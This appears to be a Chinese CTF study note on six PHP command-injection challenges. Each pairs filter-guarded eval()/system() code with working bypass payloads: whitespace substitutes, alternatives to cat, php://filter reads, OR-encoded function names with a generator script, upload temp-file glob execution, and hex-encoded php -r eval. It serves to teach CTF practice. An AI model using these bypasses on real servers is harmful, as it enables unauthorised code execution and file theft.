本文记录一些学习中觉得很有趣的经典题型
第一题
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
解法
这道题有两种思路,第一种是硬绕,第二种是定义新变量
?c=echo%09`tac%09/f*`;
?c=passthru($_GET[a]);&a=cat /flag
?c=exec($_GET[a],$b);echo%09implode("\n",$b);&a=cat%20/flag
?c=exec($_GET[a],$b);echo%09var_dump($b);&a=cat%20/flag
知识点
1.linux中空格绕过的方法
%0a、%09(tab)、$IFS$9(9可以换成1-9中间的数字,$0是返回当前的shell类型,所以不能用)、 ${IFS}、< 、<>(需要写的权限)、%20(space)等
2.cat命令代替
cat、tac、more、less、head、tail、nl、sort、uniq、rev、base64、xxd
3.php中可以命令执行的函数
system、exec、shell_exec、proc_open、popen、passthru
第二题
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
解法
分号、反引号、括号都被过滤
?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=/flag
知识点
1.eval中可以以?>来结束php代码,可以试试运行下面代码
<?php
$code = 'echo "hello world"?>';
eval($code);
2.php伪协议
第三题
flag在当前目录的flag.php中
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
解法
?c=highlight_file(array_rand(array_flip(scandir(dirname(__FILE__)))));
?c=highlight_file(array_rand(array_flip(scandir(dirname(pos(localeconv()))))));
知识点
这道题考到多个php函数
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
current() :返回数组中的当前元素的值;默认取第一个值
pos():current() 的别名
reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。
array_flip() 交换数组的键和值
array_rand() 随机返回一个数组
scandir():列出指定路径中的文件和目录
next():函数将内部指针向前移动一位即指向数组中的下一个元素,并输出这个元素。
第四题
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
解法
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
知识点
1.通过|构造字符执行命令
用其他师傅写的python脚本生成
import re
import urllib
from urllib import parse
hex_i = ""
hex_j = ""
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
str1=["system","cat flag.php"]
for p in range(2):
t1 = ""
t2 = ""
for k in str1[p]:
for i in range(256):
for j in range(256):
if re.search(pattern,chr(i)) :
break
if re.search(pattern,chr(j)) :
continue
if i < 16:
hex_i = "0" + hex(i)[2:]
else:
hex_i=hex(i)[2:]
if j < 16:
hex_j="0"+hex(j)[2:]
else:
hex_j=hex(j)[2:]
hex_i='%'+hex_i
hex_j='%'+hex_j
c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))
if(c ==k):
t1=t1+hex_i
t2=t2+hex_j
break
else:
continue
break
print("(\""+t1+"\"|\""+t2+"\")")
2.php7允许(system)(‘ls’)这样来执行命令
第五题
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
解法
首先上传一个php文件到服务器
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://192.168.239.141/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后修改内容为你要执行命令的sh脚本
最后使用/?c=.+/???/????????[@-[]
来执行脚本,具体可以参考p神文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
知识点
1.只要是php网站,通过post上传php文件后,在服务器的/tmp/目录下会生成临时文件
2.linux支持glob通配符匹配文件
3.linux中.
可以不需要文件有执行权限,可以直接执行
第六题
<?php
ini_set('open_basedir', '/usr/local/nginx/html');
error_reporting(0);
if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
show_source(__FILE__);
?>
解法
仔细观察过滤就会发现没有过滤php
,可以利用php进行任意代码执行
打印得到十六进制
<?php
$a = 'echo `cat flag.php`;';
$b = bin2hex($a);
echo $b
?>
然后post数据发送
因为单引号被过滤,直接写hex2bin(s6563686f206063617420666c61672e706870603b)会报错,所以使用substr函数进行字符串截取,在php中,substr 会将其视为一个未定义的常量(s6563686f206063617420666c61672e706870603b),并在找不到常量定义时将其作为字符串处理(PHP 的“宽松”特性)
cmd=php -r eval(hex2bin(substr(s6563686f206063617420666c61672e706870603b,1)));
知识点
1.php -r参数可以执行任意php代码
2.php中的substr可以利用php特性绕过单引号过滤